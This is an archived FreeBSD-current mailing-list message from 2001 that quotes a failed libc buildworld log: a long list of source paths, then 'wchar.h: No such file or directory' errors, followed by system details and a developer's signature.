/usr/src/l= ib/libc/../libc/db/btree/bt_seq.c /usr/src/lib/libc/../libc/db/btree/bt_spl= it.c /usr/src/lib/libc/../libc/db/btree/bt_utils.c /usr/src/lib/libc/../lib= c/db/db/db.c /usr/src/lib/libc/../libc/db/hash/hash.c /usr/src/lib/libc/../= libc/db/hash/has! > h_bigkey.c /usr/src/lib/libc/../libc/db/hash/hash_buf.c /usr/src/lib/libc= /../libc/db/hash/hash_func.c /usr/src/lib/libc/../libc/db/hash/hash_log2.c = /usr/src/lib/libc/../libc/db/hash/hash_page.c /usr/src/lib/libc/../libc/db/= hash/ndbm.c /usr/src/lib/libc/../libc/db/mpool/mpool.c /usr/src/lib/libc/..= /libc/db/recno/rec_close.c /usr/src/lib/libc/../libc/db/recno/rec_delete.c = /usr/src/lib/libc/../libc/db/recno/rec_get.c /usr/src/lib/libc/../libc/db/r= ecno/rec_open.c /usr/src/lib/libc/../libc/db/recno/rec_put.c /usr/src/lib/l= ibc/../libc/db/recno/rec_search.c /usr/src/lib/libc/../libc/db/recno/rec_se= q.c /usr/src/lib/libc/../libc/db/recno/rec_utils.c /usr/src/lib/libc/../lib= c/compat-43/creat.c /usr/src/lib/libc/../libc/compat-43/gethostid.c /usr/sr= c/lib/libc/../libc/compat-43/getwd.c /usr/src/lib/libc/../libc/compat-43/ki= llpg.c /usr/src/lib/libc/../libc/compat-43/sethostid.c /usr/src/lib/libc/..= /libc/compat-43/setpgrp.c /usr/src/lib/libc/../libc/compat-43/setrgid.c /us= r/src/lib/libc/.! > ./libc/compat-43/setruid.c /usr/src/lib/libc/../libc/compat-43/sigcompat.= c /usr/src/lib/libc/../libc/gen/__xuname.c /usr/src/lib/libc/../libc/gen/_p= thread_stubs.c /usr/src/lib/libc/../libc/gen/_rand48.c /usr/src/lib/libc/..= /libc/gen/_spinlock_stub.c /usr/src/lib/libc/../libc/gen/_thread_init.c /us= r/src/lib/libc/../libc/gen/alarm.c /usr/src/lib/libc/../libc/gen/arc4random= .c /usr/src/lib/libc/../libc/gen/assert.c /usr/src/lib/libc/../libc/gen/bas= ename.c /usr/src/lib/libc/../libc/gen/clock.c /usr/src/lib/libc/../libc/gen= /closedir.c /usr/src/lib/libc/../libc/gen/confstr.c /usr/src/lib/libc/../li= bc/gen/crypt.c /usr/src/lib/libc/../libc/gen/ctermid.c /usr/src/lib/libc/..= /libc/gen/daemon.c /usr/src/lib/libc/../libc/gen/devname.c /usr/src/lib/lib= c/../libc/gen/dirname.c /usr/src/lib/libc/../libc/gen/disklabel.c /usr/src/= lib/libc/../libc/gen/dlfcn.c /usr/src/lib/libc/../libc/gen/drand48.c /usr/s= rc/lib/libc/../libc/gen/erand48.c /usr/src/lib/libc/../libc/gen/err.c /usr/= src/lib/libc/../! > libc/gen/errlst.c /usr/src/lib/libc/../libc/gen/exec.c /usr/src/lib/libc/= ../libc/gen/fmtcheck.c /usr/src/lib/libc/../libc/gen/fnmatch.c /usr/src/lib= /libc/../libc/gen/fstab.c /usr/src/lib/libc/../libc/gen/ftok.c /usr/src/lib= /libc/../libc/gen/fts.c /usr/src/lib/libc/../libc/gen/getbootfile.c /usr/sr= c/lib/libc/../libc/gen/getbsize.c /usr/src/lib/libc/../libc/gen/getcap.c /u= sr/src/lib/libc/../libc/gen/getcwd.c /usr/src/lib/libc/../libc/gen/getdomai= nname.c /usr/src/lib/libc/../libc/gen/getgrent.c /usr/src/lib/libc/../libc/= gen/getgrouplist.c /usr/src/lib/libc/../libc/gen/gethostname.c /usr/src/lib= /libc/../libc/gen/getloadavg.c /usr/src/lib/libc/../libc/gen/getlogin.c /us= r/src/lib/libc/../libc/gen/getmntinfo.c /usr/src/lib/libc/../libc/gen/getne= tgrent.c /usr/src/lib/libc/../libc/gen/getobjformat.c /usr/src/lib/libc/../= libc/gen/getosreldate.c /usr/src/lib/libc/../libc/gen/getpagesize.c /usr/sr= c/lib/libc/../libc/gen/getpass.c /usr/src/lib/libc/../libc/gen/getprogname.= c /usr/src/lib/l! > ibc/../libc/gen/getpwent.c /usr/src/lib/libc/../libc/gen/getttyent.c /usr= /src/lib/libc/../libc/gen/getusershell.c /usr/src/lib/libc/../libc/gen/getv= fsbyname.c /usr/src/lib/libc/../libc/gen/getvfsent.c /usr/src/lib/libc/../l= ibc/gen/glob.c /usr/src/lib/libc/../libc/gen/initgroups.c /usr/src/lib/libc= /../libc/gen/isatty.c /usr/src/lib/libc/../libc/gen/jrand48.c /usr/src/lib/= libc/../libc/gen/lcong48.c /usr/src/lib/libc/../libc/gen/lockf.c /usr/src/l= ib/libc/../libc/gen/lrand48.c /usr/src/lib/libc/../libc/gen/mrand48.c /usr/= src/lib/libc/../libc/gen/msgctl.c /usr/src/lib/libc/../libc/gen/msgget.c /u= sr/src/lib/libc/../libc/gen/msgrcv.c /usr/src/lib/libc/../libc/gen/msgsnd.c= /usr/src/lib/libc/../libc/gen/nice.c /usr/src/lib/libc/../libc/gen/nlist.c= /usr/src/lib/libc/../libc/gen/nrand48.c /usr/src/lib/libc/../libc/gen/ntp_= gettime.c /usr/src/lib/libc/../libc/gen/opendir.c /usr/src/lib/libc/../libc= /gen/pause.c /usr/src/lib/libc/../libc/gen/popen.c /usr/src/lib/libc/../lib= c/gen/psignal.c ! > /usr/src/lib/libc/../libc/gen/pw_scan.c /usr/src/lib/libc/../libc/gen/pwc= ache.c /usr/src/lib/libc/../libc/gen/raise.c /usr/src/lib/libc/../libc/gen/= readdir.c /usr/src/lib/libc/../libc/gen/rewinddir.c /usr/src/lib/libc/../li= bc/gen/posixshm.c /usr/src/lib/libc/../libc/gen/scandir.c /usr/src/lib/libc= /../libc/gen/seed48.c /usr/src/lib/libc/../libc/gen/seekdir.c /usr/src/lib/= libc/../libc/gen/semconfig.c /usr/src/lib/libc/../libc/gen/semctl.c /usr/sr= c/lib/libc/../libc/gen/semget.c /usr/src/lib/libc/../libc/gen/semop.c /usr/= src/lib/libc/../libc/gen/setdomainname.c /usr/src/lib/libc/../libc/gen/seth= ostname.c /usr/src/lib/libc/../libc/gen/setjmperr.c /usr/src/lib/libc/../li= bc/gen/setmode.c /usr/src/lib/libc/../libc/gen/setprogname.c /usr/src/lib/l= ibc/../libc/gen/setproctitle.c /usr/src/lib/libc/../libc/gen/shmat.c /usr/s= rc/lib/libc/../libc/gen/shmctl.c /usr/src/lib/libc/../libc/gen/shmdt.c /usr= /src/lib/libc/../libc/gen/shmget.c /usr/src/lib/libc/../libc/gen/siginterru= pt.c /usr/src/li! > b/libc/../libc/gen/siglist.c /usr/src/lib/libc/../libc/gen/signal.c /usr/= src/lib/libc/../libc/gen/sigsetops.c /usr/src/lib/libc/../libc/gen/sleep.c = /usr/src/lib/libc/../libc/gen/srand48.c /usr/src/lib/libc/../libc/gen/strin= glist.c /usr/src/lib/libc/../libc/gen/strtofflags.c /usr/src/lib/libc/../li= bc/gen/sysconf.c /usr/src/lib/libc/../libc/gen/sysctl.c /usr/src/lib/libc/.= ./libc/gen/sysctlbyname.c /usr/src/lib/libc/../libc/gen/sysctlnametomib.c /= usr/src/lib/libc/../libc/gen/syslog.c /usr/src/lib/libc/../libc/gen/telldir= .c /usr/src/lib/libc/../libc/gen/termios.c /usr/src/lib/libc/../libc/gen/ti= me.c /usr/src/lib/libc/../libc/gen/times.c /usr/src/lib/libc/../libc/gen/ti= mezone.c /usr/src/lib/libc/../libc/gen/ttyname.c /usr/src/lib/libc/../libc/= gen/ttyslot.c /usr/src/lib/libc/../libc/gen/ualarm.c /usr/src/lib/libc/../l= ibc/gen/uname.c /usr/src/lib/libc/../libc/gen/unvis.c /usr/src/lib/libc/../= libc/gen/usleep.c /usr/src/lib/libc/../libc/gen/utime.c /usr/src/lib/libc/.= ./libc/gen/vallo! > c.c /usr/src/lib/libc/../libc/gen/vis.c /usr/src/lib/libc/../libc/gen/wai= t.c /usr/src/lib/libc/../libc/gen/wait3.c /usr/src/lib/libc/../libc/gen/wai= tpid.c /usr/src/lib/libc/../libc/i386/gen/frexp.c /usr/src/lib/libc/../libc= /i386/gen/infinity.c /usr/src/lib/libc/../libc/i386/gen/isinf.c /usr/src/li= b/libc/../libc/i386/gen/ldexp.c /usr/src/lib/libc/../libc/gmon/gmon.c /usr/= src/lib/libc/../libc/gmon/mcount.c /usr/src/lib/libc/../libc/locale/ansi.c = /usr/src/lib/libc/../libc/locale/big5.c /usr/src/lib/libc/../libc/locale/co= llate.c /usr/src/lib/libc/../libc/locale/collcmp.c /usr/src/lib/libc/../lib= c/locale/euc.c /usr/src/lib/libc/../libc/locale/frune.c /usr/src/lib/libc/.= ./libc/locale/fix_grouping.c /usr/src/lib/libc/../libc/locale/isctype.c /us= r/src/lib/libc/../libc/locale/ldpart.c /usr/src/lib/libc/../libc/locale/lme= ssages.c /usr/src/lib/libc/../libc/locale/lmonetary.c /usr/src/lib/libc/../= libc/locale/lnumeric.c /usr/src/lib/libc/../libc/locale/localeconv.c /usr/s= rc/lib/libc/../l! > ibc/locale/mbrune.c /usr/src/lib/libc/../libc/locale/mskanji.c /usr/src/l= ib/libc/../libc/locale/nl_langinfo.c /usr/src/lib/libc/../libc/locale/nomac= ros.c /usr/src/lib/libc/../libc/locale/none.c /usr/src/lib/libc/../libc/loc= ale/rune.c /usr/src/lib/libc/../libc/locale/runetype.c /usr/src/lib/libc/..= /libc/locale/setinvalidrune.c /usr/src/lib/libc/../libc/locale/setlocale.c = /usr/src/lib/libc/../libc/locale/setrunelocale.c /usr/src/lib/libc/../libc/= locale/table.c /usr/src/lib/libc/../libc/locale/tolower.c /usr/src/lib/libc= /../libc/locale/toupper.c /usr/src/lib/libc/../libc/locale/utf2.c /usr/src/= lib/libc/../libc/net/addr2ascii.c /usr/src/lib/libc/../libc/net/ascii2addr.= c /usr/src/lib/libc/../libc/net/base64.c /usr/src/lib/libc/../libc/net/ethe= r_addr.c /usr/src/lib/libc/../libc/net/getaddrinfo.c /usr/src/lib/libc/../l= ibc/net/gethostbydns.c /usr/src/lib/libc/../libc/net/gethostbyht.c /usr/src= /lib/libc/../libc/net/gethostbynis.c /usr/src/lib/libc/../libc/net/gethostn= amadr.c /usr/src! > /lib/libc/../libc/net/getifaddrs.c /usr/src/lib/libc/../libc/net/getnamei= nfo.c /usr/src/lib/libc/../libc/net/getnetbydns.c /usr/src/lib/libc/../libc= /net/getnetbyht.c /usr/src/lib/libc/../libc/net/getnetbynis.c /usr/src/lib/= libc/../libc/net/getnetnamadr.c /usr/src/lib/libc/../libc/net/getproto.c /u= sr/src/lib/libc/../libc/net/getprotoent.c /usr/src/lib/libc/../libc/net/get= protoname.c /usr/src/lib/libc/../libc/net/getservbyname.c /usr/src/lib/libc= /../libc/net/getservbyport.c /usr/src/lib/libc/../libc/net/getservent.c /us= r/src/lib/libc/../libc/net/herror.c /usr/src/lib/libc/../libc/net/hesiod.c = /usr/src/lib/libc/../libc/net/inet_addr.c /usr/src/lib/libc/../libc/net/ifn= ame.c /usr/src/lib/libc/../libc/net/inet_lnaof.c /usr/src/lib/libc/../libc/= net/inet_makeaddr.c /usr/src/lib/libc/../libc/net/inet_net_ntop.c /usr/src/= lib/libc/../libc/net/inet_net_pton.c /usr/src/lib/libc/../libc/net/inet_net= a.c /usr/src/lib/libc/../libc/net/inet_netof.c /usr/src/lib/libc/../libc/ne= t/inet_network.c! > /usr/src/lib/libc/../libc/net/inet_ntoa.c /usr/src/lib/libc/../libc/net/= inet_ntop.c /usr/src/lib/libc/../libc/net/inet_pton.c /usr/src/lib/libc/../= libc/net/ip6opt.c /usr/src/lib/libc/../libc/net/linkaddr.c /usr/src/lib/lib= c/../libc/net/map_v4v6.c /usr/src/lib/libc/../libc/net/name6.c /usr/src/lib= /libc/../libc/net/ns_addr.c /usr/src/lib/libc/../libc/net/ns_name.c /usr/sr= c/lib/libc/../libc/net/ns_netint.c /usr/src/lib/libc/../libc/net/ns_ntoa.c = /usr/src/lib/libc/../libc/net/ns_parse.c /usr/src/lib/libc/../libc/net/ns_p= rint.c /usr/src/lib/libc/../libc/net/ns_ttl.c /usr/src/lib/libc/../libc/net= /nsdispatch.c nslexer.c nsparser.c /usr/src/lib/libc/../libc/net/nsap_addr.= c /usr/src/lib/libc/../libc/net/rcmd.c /usr/src/lib/libc/../libc/net/recv.c= /usr/src/lib/libc/../libc/net/res_comp.c /usr/src/lib/libc/../libc/net/res= _data.c /usr/src/lib/libc/../libc/net/res_debug.c /usr/src/lib/libc/../libc= /net/res_init.c /usr/src/lib/libc/../libc/net/res_mkquery.c /usr/src/lib/li= bc/../libc/net/r! > es_mkupdate.c /usr/src/lib/libc/../libc/net/res_query.c /usr/src/lib/libc= /../libc/net/res_send.c /usr/src/lib/libc/../libc/net/res_update.c /usr/src= /lib/libc/../libc/net/rthdr.c /usr/src/lib/libc/../libc/net/send.c /usr/src= /lib/libc/../libc/net/vars.c /usr/src/lib/libc/../libc/nls/msgcat.c /usr/sr= c/lib/libc/../libc/posix1e/acl_calc_mask.c /usr/src/lib/libc/../libc/posix1= e/acl_copy.c /usr/src/lib/libc/../libc/posix1e/acl_delete.c /usr/src/lib/li= bc/../libc/posix1e/acl_delete_entry.c /usr/src/lib/libc/../libc/posix1e/acl= _entry.c /usr/src/lib/libc/../libc/posix1e/acl_free.c /usr/src/lib/libc/../= libc/posix1e/acl_from_text.c /usr/src/lib/libc/../libc/posix1e/acl_get.c /u= sr/src/lib/libc/../libc/posix1e/acl_init.c /usr/src/lib/libc/../libc/posix1= e/acl_perm.c /usr/src/lib/libc/../libc/posix1e/acl_set.c /usr/src/lib/libc/= ../libc/posix1e/acl_support.c /usr/src/lib/libc/../libc/posix1e/acl_to_text= .c /usr/src/lib/libc/../libc/posix1e/acl_valid.c /usr/src/lib/libc/../libc/= posix1e/cap_clea! > r.c /usr/src/lib/libc/../libc/posix1e/cap_dup.c /usr/src/lib/libc/../libc= /posix1e/cap_free.c /usr/src/lib/libc/../libc/posix1e/cap_get_fd.c /usr/src= /lib/libc/../libc/posix1e/cap_get_file.c /usr/src/lib/libc/../libc/posix1e/= cap_get_flag.c /usr/src/lib/libc/../libc/posix1e/cap_get_proc.c /usr/src/li= b/libc/../libc/posix1e/cap_init.c /usr/src/lib/libc/../libc/posix1e/cap_set= _fd.c /usr/src/lib/libc/../libc/posix1e/cap_set_file.c /usr/src/lib/libc/..= /libc/posix1e/cap_set_flag.c /usr/src/lib/libc/../libc/posix1e/cap_set_proc= .c /usr/src/lib/libc/../libc/posix1e/cap_text.c /usr/src/lib/libc/../libc/q= uad/cmpdi2.c /usr/src/lib/libc/../libc/quad/divdi3.c /usr/src/lib/libc/../l= ibc/quad/moddi3.c /usr/src/lib/libc/../libc/quad/qdivrem.c /usr/src/lib/lib= c/../libc/quad/ucmpdi2.c /usr/src/lib/libc/../libc/quad/udivdi3.c /usr/src/= lib/libc/../libc/quad/umoddi3.c /usr/src/lib/libc/../libc/regex/regcomp.c /= usr/src/lib/libc/../libc/regex/regerror.c /usr/src/lib/libc/../libc/regex/r= egexec.c /usr/sr! > c/lib/libc/../libc/regex/regfree.c /usr/src/lib/libc/../libc/stdio/_flock= _stub.c /usr/src/lib/libc/../libc/stdio/asprintf.c /usr/src/lib/libc/../lib= c/stdio/clrerr.c /usr/src/lib/libc/../libc/stdio/fclose.c /usr/src/lib/libc= /../libc/stdio/fdopen.c /usr/src/lib/libc/../libc/stdio/feof.c /usr/src/lib= /libc/../libc/stdio/ferror.c /usr/src/lib/libc/../libc/stdio/fflush.c /usr/= src/lib/libc/../libc/stdio/fgetc.c /usr/src/lib/libc/../libc/stdio/fgetln.c= /usr/src/lib/libc/../libc/stdio/fgetpos.c /usr/src/lib/libc/../libc/stdio/= fgets.c /usr/src/lib/libc/../libc/stdio/fileno.c /usr/src/lib/libc/../libc/= stdio/findfp.c /usr/src/lib/libc/../libc/stdio/flags.c /usr/src/lib/libc/..= /libc/stdio/fopen.c /usr/src/lib/libc/../libc/stdio/fprintf.c /usr/src/lib/= libc/../libc/stdio/fpurge.c /usr/src/lib/libc/../libc/stdio/fputc.c /usr/sr= c/lib/libc/../libc/stdio/fputs.c /usr/src/lib/libc/../libc/stdio/fread.c /u= sr/src/lib/libc/../libc/stdio/freopen.c /usr/src/lib/libc/../libc/stdio/fsc= anf.c /usr/src/l! > ib/libc/../libc/stdio/fseek.c /usr/src/lib/libc/../libc/stdio/fsetpos.c /= usr/src/lib/libc/../libc/stdio/ftell.c /usr/src/lib/libc/../libc/stdio/funo= pen.c /usr/src/lib/libc/../libc/stdio/fvwrite.c /usr/src/lib/libc/../libc/s= tdio/fwalk.c /usr/src/lib/libc/../libc/stdio/fwrite.c /usr/src/lib/libc/../= libc/stdio/getc.c /usr/src/lib/libc/../libc/stdio/getchar.c /usr/src/lib/li= bc/../libc/stdio/gets.c /usr/src/lib/libc/../libc/stdio/getw.c /usr/src/lib= /libc/../libc/stdio/makebuf.c /usr/src/lib/libc/../libc/stdio/mktemp.c /usr= /src/lib/libc/../libc/stdio/perror.c /usr/src/lib/libc/../libc/stdio/printf= .c /usr/src/lib/libc/../libc/stdio/putc.c /usr/src/lib/libc/../libc/stdio/p= utchar.c /usr/src/lib/libc/../libc/stdio/puts.c /usr/src/lib/libc/../libc/s= tdio/putw.c /usr/src/lib/libc/../libc/stdio/refill.c /usr/src/lib/libc/../l= ibc/stdio/remove.c /usr/src/lib/libc/../libc/stdio/rewind.c /usr/src/lib/li= bc/../libc/stdio/rget.c /usr/src/lib/libc/../libc/stdio/scanf.c /usr/src/li= b/libc/../libc/s! > tdio/setbuf.c /usr/src/lib/libc/../libc/stdio/setbuffer.c /usr/src/lib/li= bc/../libc/stdio/setvbuf.c /usr/src/lib/libc/../libc/stdio/snprintf.c /usr/= src/lib/libc/../libc/stdio/sprintf.c /usr/src/lib/libc/../libc/stdio/sscanf= .c /usr/src/lib/libc/../libc/stdio/stdio.c /usr/src/lib/libc/../libc/stdio/= tempnam.c /usr/src/lib/libc/../libc/stdio/tmpfile.c /usr/src/lib/libc/../li= bc/stdio/tmpnam.c /usr/src/lib/libc/../libc/stdio/ungetc.c /usr/src/lib/lib= c/../libc/stdio/vasprintf.c /usr/src/lib/libc/../libc/stdio/vfprintf.c /usr= /src/lib/libc/../libc/stdio/vfscanf.c /usr/src/lib/libc/../libc/stdio/vprin= tf.c /usr/src/lib/libc/../libc/stdio/vscanf.c /usr/src/lib/libc/../libc/std= io/vsnprintf.c /usr/src/lib/libc/../libc/stdio/vsprintf.c /usr/src/lib/libc= /../libc/stdio/vsscanf.c /usr/src/lib/libc/../libc/stdio/wbuf.c /usr/src/li= b/libc/../libc/stdio/wsetup.c /usr/src/lib/libc/../libc/stdlib/strtod.c /us= r/src/lib/libc/../libc/stdtime/asctime.c /usr/src/lib/libc/../libc/stdtime/= difftime.c /usr/! > src/lib/libc/../libc/stdtime/localtime.c /usr/src/lib/libc/../libc/stdtim= e/strftime.c /usr/src/lib/libc/../libc/stdtime/strptime.c /usr/src/lib/libc= /../libc/stdtime/timelocal.c /usr/src/lib/libc/../libc/i386/sys/i386_clr_wa= tch.c /usr/src/lib/libc/../libc/i386/sys/i386_get_ioperm.c /usr/src/lib/lib= c/../libc/i386/sys/i386_get_ldt.c /usr/src/lib/libc/../libc/i386/sys/i386_s= et_ioperm.c /usr/src/lib/libc/../libc/i386/sys/i386_set_ldt.c /usr/src/lib/= libc/../libc/i386/sys/i386_set_watch.c /usr/src/lib/libc/../libc/i386/sys/i= 386_vm86.c /usr/src/lib/libc/../libc/sys/ftruncate.c /usr/src/lib/libc/../l= ibc/sys/lseek.c /usr/src/lib/libc/../libc/sys/mmap.c /usr/src/lib/libc/../l= ibc/sys/pread.c /usr/src/lib/libc/../libc/sys/pwrite.c /usr/src/lib/libc/..= /libc/sys/truncate.c /usr/src/lib/libc/../libc/sys/__error.c /usr/src/lib/l= ibc/../libc/rpc/auth_none.c /usr/src/lib/libc/../libc/rpc/auth_unix.c /usr/= src/lib/libc/../libc/rpc/authunix_prot.c /usr/src/lib/libc/../libc/rpc/bind= resvport.c /usr/! > src/lib/libc/../libc/rpc/clnt_bcast.c /usr/src/lib/libc/../libc/rpc/clnt_= dg.c /usr/src/lib/libc/../libc/rpc/clnt_generic.c /usr/src/lib/libc/../libc= /rpc/clnt_perror.c /usr/src/lib/libc/../libc/rpc/clnt_raw.c /usr/src/lib/li= bc/../libc/rpc/clnt_simple.c /usr/src/lib/libc/../libc/rpc/clnt_vc.c /usr/s= rc/lib/libc/../libc/rpc/rpc_dtablesize.c /usr/src/lib/libc/../libc/rpc/getn= etconfig.c /usr/src/lib/libc/../libc/rpc/getnetpath.c /usr/src/lib/libc/../= libc/rpc/getrpcent.c /usr/src/lib/libc/../libc/rpc/getrpcport.c /usr/src/li= b/libc/../libc/rpc/mt_misc.c /usr/src/lib/libc/../libc/rpc/pmap_clnt.c /usr= /src/lib/libc/../libc/rpc/pmap_getmaps.c /usr/src/lib/libc/../libc/rpc/pmap= _getport.c /usr/src/lib/libc/../libc/rpc/pmap_prot.c /usr/src/lib/libc/../l= ibc/rpc/pmap_prot2.c /usr/src/lib/libc/../libc/rpc/pmap_rmt.c /usr/src/lib/= libc/../libc/rpc/rpc_prot.c /usr/src/lib/libc/../libc/rpc/rpc_commondata.c = /usr/src/lib/libc/../libc/rpc/rpc_callmsg.c /usr/src/lib/libc/../libc/rpc/r= pc_generic.c /us! > r/src/lib/libc/../libc/rpc/rpc_soc.c /usr/src/lib/libc/../libc/rpc/rpcb_c= lnt.c /usr/src/lib/libc/../libc/rpc/rpcb_prot.c /usr/src/lib/libc/../libc/r= pc/rpcb_st_xdr.c /usr/src/lib/libc/../libc/rpc/svc.c /usr/src/lib/libc/../l= ibc/rpc/svc_auth.c /usr/src/lib/libc/../libc/rpc/svc_dg.c /usr/src/lib/libc= /../libc/rpc/svc_auth_unix.c /usr/src/lib/libc/../libc/rpc/svc_generic.c /u= sr/src/lib/libc/../libc/rpc/svc_raw.c /usr/src/lib/libc/../libc/rpc/svc_run= .c /usr/src/lib/libc/../libc/rpc/svc_simple.c /usr/src/lib/libc/../libc/rpc= /svc_vc.c /usr/src/lib/libc/../libc/xdr/xdr.c /usr/src/lib/libc/../libc/xdr= /xdr_array.c /usr/src/lib/libc/../libc/xdr/xdr_float.c /usr/src/lib/libc/..= /libc/xdr/xdr_mem.c /usr/src/lib/libc/../libc/xdr/xdr_rec.c /usr/src/lib/li= bc/../libc/xdr/xdr_reference.c /usr/src/lib/libc/../libc/xdr/xdr_stdio.c /u= sr/src/lib/libc/../libc/rpc/auth_time.c /usr/src/lib/libc/../libc/rpc/auth_= des.c /usr/src/lib/libc/../libc/rpc/authdes_prot.c /usr/src/lib/libc/../lib= c/rpc/des_crypt.! > c /usr/src/lib/libc/../libc/rpc/des_soft.c /usr/src/lib/libc/../libc/rpc/= crypt_client.c /usr/src/lib/libc/../libc/rpc/key_call.c /usr/src/lib/libc/.= ./libc/rpc/key_prot_xdr.c /usr/src/lib/libc/../libc/rpc/getpublickey.c /usr= /src/lib/libc/../libc/rpc/svc_auth_des.c /usr/src/lib/libc/../libc/rpc/netn= ame.c /usr/src/lib/libc/../libc/rpc/netnamer.c /usr/src/lib/libc/../libc/rp= c/rpcdname.c /usr/src/lib/libc/../libc/rpc/rtime.c crypt_clnt.c crypt_xdr.c= /usr/src/lib/libc/../libc/yp/xdryp.c yp_xdr.c /usr/src/lib/libc/../libc/yp= /yplib.c /usr/src/lib/libc/../libc/stdlib/abort.c /usr/src/lib/libc/../libc= /stdlib/atexit.c /usr/src/lib/libc/../libc/stdlib/atof.c /usr/src/lib/libc/= ../libc/stdlib/atoi.c /usr/src/lib/libc/../libc/stdlib/atol.c /usr/src/lib/= libc/../libc/stdlib/bsearch.c /usr/src/lib/libc/../libc/stdlib/calloc.c /us= r/src/lib/libc/../libc/stdlib/exit.c /usr/src/lib/libc/../libc/stdlib/geten= v.c /usr/src/lib/libc/../libc/stdlib/getopt.c /usr/src/lib/libc/../libc/std= lib/getsubopt.c ! > /usr/src/lib/libc/../libc/stdlib/hcreate.c /usr/src/lib/libc/../libc/stdl= ib/heapsort.c /usr/src/lib/libc/../libc/stdlib/malloc.c /usr/src/lib/libc/.= ./libc/stdlib/merge.c /usr/src/lib/libc/../libc/stdlib/putenv.c /usr/src/li= b/libc/../libc/stdlib/qsort.c /usr/src/lib/libc/../libc/stdlib/radixsort.c = /usr/src/lib/libc/../libc/stdlib/rand.c /usr/src/lib/libc/../libc/stdlib/ra= ndom.c /usr/src/lib/libc/../libc/stdlib/reallocf.c /usr/src/lib/libc/../lib= c/stdlib/realpath.c /usr/src/lib/libc/../libc/stdlib/setenv.c /usr/src/lib/= libc/../libc/stdlib/strhash.c /usr/src/lib/libc/../libc/stdlib/strtol.c /us= r/src/lib/libc/../libc/stdlib/strtoll.c /usr/src/lib/libc/../libc/stdlib/st= rtoq.c /usr/src/lib/libc/../libc/stdlib/strtoul.c /usr/src/lib/libc/../libc= /stdlib/strtoull.c /usr/src/lib/libc/../libc/stdlib/strtouq.c /usr/src/lib/= libc/../libc/stdlib/system.c /usr/src/lib/libc/../libc/stdlib/tdelete.c /us= r/src/lib/libc/../libc/stdlib/tfind.c /usr/src/lib/libc/../libc/stdlib/tsea= rch.c /usr/src/l! > ib/libc/../libc/stdlib/twalk.c /usr/src/lib/libc/../libc/string/memccpy.c= /usr/src/lib/libc/../libc/string/strcasecmp.c /usr/src/lib/libc/../libc/st= ring/strcoll.c /usr/src/lib/libc/../libc/string/strcspn.c /usr/src/lib/libc= /../libc/string/strdup.c /usr/src/lib/libc/../libc/string/strerror.c /usr/s= rc/lib/libc/../libc/string/strlcat.c /usr/src/lib/libc/../libc/string/strlc= py.c /usr/src/lib/libc/../libc/string/strmode.c /usr/src/lib/libc/../libc/s= tring/strncat.c /usr/src/lib/libc/../libc/string/strncpy.c /usr/src/lib/lib= c/../libc/string/strpbrk.c /usr/src/lib/libc/../libc/string/strsep.c /usr/s= rc/lib/libc/../libc/string/strsignal.c /usr/src/lib/libc/../libc/string/str= spn.c /usr/src/lib/libc/../libc/string/strstr.c /usr/src/lib/libc/../libc/s= tring/strtok.c /usr/src/lib/libc/../libc/string/strxfrm.c /usr/src/lib/libc= /../libc/string/wcscat.c /usr/src/lib/libc/../libc/string/wcschr.c /usr/src= /lib/libc/../libc/string/wcscmp.c /usr/src/lib/libc/../libc/string/wcscpy.c= /usr/src/lib/li! > bc/../libc/string/wcscspn.c /usr/src/lib/libc/../libc/string/wcslcat.c /u= sr/src/lib/libc/../libc/string/wcslcpy.c /usr/src/lib/libc/../libc/string/w= cslen.c /usr/src/lib/libc/../libc/string/wcsncat.c /usr/src/lib/libc/../lib= c/string/wcsncmp.c /usr/src/lib/libc/../libc/string/wcsncpy.c /usr/src/lib/= libc/../libc/string/wcspbrk.c /usr/src/lib/libc/../libc/string/wcsrchr.c /u= sr/src/lib/libc/../libc/string/wcsspn.c /usr/src/lib/libc/../libc/string/wc= sstr.c /usr/src/lib/libc/../libc/string/wmemchr.c /usr/src/lib/libc/../libc= /string/wmemcmp.c /usr/src/lib/libc/../libc/string/wmemcpy.c /usr/src/lib/l= ibc/../libc/string/wmemmove.c /usr/src/lib/libc/../libc/string/wmemset.c > /usr/src/lib/libc/../libc/string/wcscat.c:38: wchar.h: No such file or di= rectory > /usr/src/lib/libc/../libc/string/wcschr.c:39: wchar.h: No such file or di= rectory > /usr/src/lib/libc/../libc/string/wcscmp.c:51: wchar.h: No such file or di= rectory > /usr/src/lib/libc/../libc/string/wcscpy.c:39: wchar.h: No such file or di= rectory > /usr/src/lib/libc/../libc/string/wcscspn.c:39: wchar.h: No such file or d= irectory > /usr/src/lib/libc/../libc/string/wcslcat.c:40: wchar.h: No such file or d= irectory > /usr/src/lib/libc/../libc/string/wcslcpy.c:40: wchar.h: No such file or d= irectory > /usr/src/lib/libc/../libc/string/wcslen.c:39: wchar.h: No such file or di= rectory > /usr/src/lib/libc/../libc/string/wcsncat.c:39: wchar.h: No such file or d= irectory > ... > /usr/src/lib/libc/../libc/string/wmemmove.c:40: wchar.h: No such file or = directory > /usr/src/lib/libc/../libc/string/wmemset.c:39: wchar.h: No such file or d= irectory > mkdep: compile failed > *** Error code 1 >=20 > Stop in /usr/src/lib/libc. > *** Error code 1 >=20 >=20 >=20 > This on: > FreeBSD dhcp-133.catwhisker.org 5.0-CURRENT FreeBSD 5.0-CURRENT #66: Tue = May 15 12:04:09 PDT 2001 root@localhost:/common/C/obj/usr/src/sys/LAPTO= P_30W i386 >=20 > Recent CVSup history: > CVSup begin from cvsup14.freebsd.org at Tue May 15 03:47:00 PDT 2001 > CVSup ended from cvsup14.freebsd.org at Tue May 15 03:52:15 PDT 2001 > CVSup begin from cvsup14.freebsd.org at Wed May 16 03:47:01 PDT 2001 > CVSup ended from cvsup14.freebsd.org at Wed May 16 03:52:26 PDT 2001 >=20 >=20 > I suppose I could manually copy wchar.h over, but that seems rather worse > than merely "unsporting". :-} >=20 > Cheers, > david > --=20 > David H. Wolfskill david@catwhisker.org > As a computing professional, I believe it would be unethical for me to > advise, recommend, or support the use (save possibly for personal > amusement) of any product that is or depends on any Microsoft product. --=20 Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 7:58:17 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 